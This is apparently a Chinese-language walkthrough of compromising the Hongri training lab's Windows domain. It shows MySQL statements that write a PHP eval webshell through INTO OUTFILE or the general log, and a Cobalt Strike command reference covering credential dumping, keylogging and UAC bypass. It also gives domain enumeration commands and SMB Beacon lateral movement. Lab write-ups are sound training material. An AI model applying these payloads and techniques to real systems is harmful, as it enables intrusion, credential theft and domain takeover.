記錄一下內網滲透的整個過程
記錄一下紅日靶場內網滲透的過程
下載紅日安全團隊的靶場-->下載連結
第一步:下載並解壓到一個資料夾內
第二步、使用VM虛擬機器分別新增三個虛擬機器,並調整一下網路介面卡,使得Win7和其他兩個同屬於一個區域網,而且Win7可以訪問外網。
Win7 | |
Win2003和Win2008 |
第三步、啟動三個虛擬機器,密碼都是hongrisec@2019,登入必須修改密碼可以改為Qq123456,啟動Win7的PHPstudy
檢視三個虛擬機器的ip地址
Win7:外網192.168.193.131 內網:192.168.52.143(可以ping通其他兩個)
Win2008:192.168.52.138
Win2004:192.168.52.141
第四步、外網滲透
1、資訊收集,目錄掃描
找到備份檔案和phpmyadmin登入介面,到這裡可以選擇備份的程式碼審計或者phpmyadmin的nday利用和密碼爆破
我是利用弱口令,賬號密碼都是root,進入後臺進行mysql的getshell
1、查詢是否有寫入條件: show VARIABLES like '%secure_file_priv%' == null 則沒有條件,換成日誌寫入 (secure_file_priv值可在mysql中的my.ini中修改) show global variables like "secure%" 也可以查詢
2、 select @@basedir; 檢視物理路徑
3、當具備條件時,寫入一句話檔案: select '<?php eval($_POST["pwd"]); ?>' into outfile 'C:/phpStudy/WWW/shell.php'; 4、檢視日誌開啟狀態
show variables like '%general%'; 檢視日誌狀態
SET GLOBAL general_log='on' 開啟日誌
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php' 指定日誌檔案
SELECT '<?php eval($_POST["cmd"]);?>' 木馬寫到日誌裡
進入後臺 |
|
檢視寫入許可權 (NULL 無許可權) |
|
檢視實體地址 (C:/phpStudy/MySQL) |
|
檢視日誌狀態 |
|
開啟日誌 |
|
指定日誌檔案 |
|
木馬寫到日誌裡 |
|
檢視日誌 |
|
上菜刀
|
第五步、內網滲透
上線的話一般使用MSF或者Cobalts Strike,我比較喜歡用CS
CS常用命令
argue 匹配程序的欺騙引數 audit_uac 審查關於bypass uac 的方法 blockdlls 在子程序中阻止非Microsoft DLL browserpivot 設定瀏覽器透視會話 cancel 取消正在進行的下載 cd 更改目錄 checkin 呼叫總部併發布資料 clear 清除信標佇列 connect 通過TCP連線到信標對等方 covertvpn 部署隱蔽VPN客戶端 cp 複製檔案 dcsync 從DC中提取密碼雜湊 desktop 檢視目標的桌面並與之互動 dllinject 將反射DLL注入程序 dllload 使用LoadLibrary()將DLL載入到程序中 download 下載檔案 downloads 列出正在進行的檔案下載 drives 列出目標上的驅動器 elevate 在提升的上下文中生成會話 execute 在目標上執行程式(無輸出) execute-assembly 在目標上的記憶體中執行本地.NET程式 exit 終止信標會話 getprivs 在當前令牌上啟用系統許可權 getsystem 嘗試獲取系統 getuid 獲取使用者ID hashdump 轉儲密碼雜湊 help 幫助選單 inject 在特定程序中生成會話 jobkill 殺死長時間執行的利用後任務 jobs 列出長期執行的利用後任務 jump 在遠端主機上生成會話 kerberos_ccache_use 將kerberos票證從快取應用到此會話 kerberos_ticket_purge 從此會話中清除kerberos票證 kerberos_ticket_use 將kerberos票證應用於此會話 keylogger 將擊鍵記錄器注入程序 kill 終止程序 link 通過命名管道連線到信標對等點 logonpasswords 使用mimikatz轉儲憑據和雜湊 ls 列出檔案 make_token 建立令牌以傳遞憑據 mimikatz 執行mimikatz命令 mkdir 製作目錄 mode dns 使用DNS A作為資料通道(僅DNS信標) mode dns-txt 使用DNS TXT作為資料通道(僅DNS信標 mode dns6 使用DNS AAAA作為資料通道(僅DNS信標) mv 移動檔案 net 網路和主機列舉工具 note 為該信標指定一個註釋 portscan 掃描網路中的開放服務 powerpick 通過非託管PowerShell執行命令 powershell 通過powershell.exe執行命令 powershell-import 匯入powershell指令碼 ppid 為衍生的事後交貨作業設定父PID ps 顯示程序列表 psinject 在特定程序中執行PowerShell命令 pth 使用Mimikatz傳遞雜湊 pwd 列印當前目錄 reg 查詢登錄檔 remote-exec 在遠端主機上執行命令 rev2self 還原為原始令牌 rm 刪除檔案或資料夾 rportfwd 設定反向埠前進 run 在目標上執行程式(返回輸出) runas 以另一個使用者的身份執行程式 runasadmin 在提升的上下文中執行程式 runu 在另一個PID下執行程式 screenshot 截圖 setenv 設定環境變數 shell 通過cmd.exe執行命令 shinject 將外殼程式碼注入程序 shspawn 生成程序並將外殼程式碼注入其中 sleep 設定信標睡眠時間 socks 啟動SOCKS4a伺服器以中繼流量 socks stop 停止SOCKS4a伺服器 spawn 生成會話 spawnas 作為另一個使用者生成會話 spawnto 將可執行檔案設定為將程序生成到 spawnu 在另一程序下生成會話 ssh 使用SSH在主機上生成SSH會話 ssh-key 使用SSH在主機上生成SSH會話 steal_token 從程序中竊取訪問令牌 timestomp 將時間戳從一個檔案應用到另一個檔案 unlink 斷開與父信標的連線 upload 上傳檔案
CS提權:
uac-token-duplication 是一種繞過uac方式的攻擊,吧地許可權提高到高許可權,利用一個UAC漏洞,允許非提升程序使用提升程序中竊取的令牌來啟動,適用於win7 svc-exe 用於提升許可權,用法類似getsystem命令 ms14-058|ms15-015|ms16-016|ms16-032|ms16-032|ms16-315 這幾種方式都差不多,通過windows的本地提權漏洞來提權 juicypotato 在cobaltstrike中使用爛土豆來提權,相對可靠 compmgmt 瞭解不多,似乎是通過windows的compmgmt去提權 rottenpotato 從Windows服務帳戶到系統的本地許可權升級 uac-eventvwr 通過登錄檔,利用eventvwr.exe 會自動載入我們的exp,這時的eventvwr.exe為高許可權,達到提權效果 uac-dll 利用UAC漏洞,把我們的exp生成的dll複製到特定位置來達到提權效果,可繞過UAC uac-wscript 這是一個empire中的繞過UAC模組,通過利用wscript.exe 去執行payload,以管理員許可權去執行payload,只限於win7上使用
上線CS | |
CS生成木馬 | |
上線客戶端 (沒有免殺) |
|
成功上線 |
|
截個屏看一下 |
|
靶機資訊收集 (shell ipconfig) |
|
抓取明文密碼 | |
提權 (svc-exe) |
|
內網資訊收集 |
net view # 檢視區域網內其他主機名 |
檢視是否存在域 存在域(god.org) |
shell net config Workstation |
查詢當前域的個數 只有一個 |
shell net view /domain |
檢視域控制器主機名 OWA |
shell net group "domain controllers" /domain |
檢視區域網內其他 主機資訊 |
net view |
確認一下該主機 是否也是存在域中 |
shell net group "domain computers" /domain |
開啟MSF監聽埠 |
use exploit/multi/handler |
CS開啟監聽 | |
新建會話到MSF | |
MSF獲得shell會話 | |
現在兩條路 |
第一:使用MSF的攻擊模組來進行橫向滲透 第二:使用CS來進行橫向滲透,新增一些外掛 我的CS還沒有攻擊的外掛模組,所以使用MSF來攻擊域控 |
檢視域控的開放埠 | |
445埠可能存在 ms17_010 永恆之藍漏洞 |
|
利用永恆之藍 進行程式碼執行 失敗! |
|
還是用CS來吧 視覺化切換到 目標列表 |
|
先查一下賬戶密碼 logonpasswords |
|
建立監視器 smb |
|
橫向移動 |
|
橫向主機上線 |
|
同上,內網主機 已經全部上線 |
|
找一下域控主機 放的flag |
|
拓撲透檢視 |
總結一下:
外網是一個Yxcms,這個cms存在弱口令檔案上傳等漏洞,通過弱口令進入PHPMyAdmin,因為沒有路徑寫入許可權,然後使用寫入日誌來寫入一句話木馬。菜刀連線日誌解析的一句話木馬,使用Cobalts Strike生成可執行檔案上傳到網站目錄,菜刀進行執行命令語句,上線CS,之後開始內網滲透。
內網滲透首先資訊收集,查到了只有一個內域OWA,內域中還有兩個主機,其中一個是域控主機。先給當前的跳板提一下權,使用的是svc-exe提權方式。
接下來目的是橫向滲透使用這個Win7作為跳板,拿下內網域內的域成員主機和域控主機,首先使用CS和MSF聯動查到開放455埠,打了個永恆之藍髮現失敗。拼一下運氣,用CS的SMB Beacon橫向滲透成功:
簡介:SMB Beacon使用命名管道通過父Beacon進行通訊。此對等通訊與Beacons在同一主機上工作。它也適用於整個網路。Windows在SMB協議中封裝命名管道通訊,對內網中無法連結公網的機器,SMB Beacon可以通過已控制的邊界伺服器對其進行控制。
口頭語言解釋:外網中的A主機與B主機相通且已控制B,B主機可以與內網中的C主機(無法連線公網)相通,但是A主機與C主機不相通,此時就需要在B主機上利用SMB beacon使A和C相通,進而使A主機控制C主機。
使用前提:B能訪問到C的SMB埠,擁有SMB的管理員賬號密碼(一般在B上抓密碼去碰撞)
①具有SMB Beacon的主機必須接受埠445上的連線。
②只能連結由同一Cobalt Strike例項管理的Beacon。
具體步驟:
①獲取C的管理員賬號密碼
②建立SMB Listener
③使用net use進行利用、驗證及建立SMB Beacon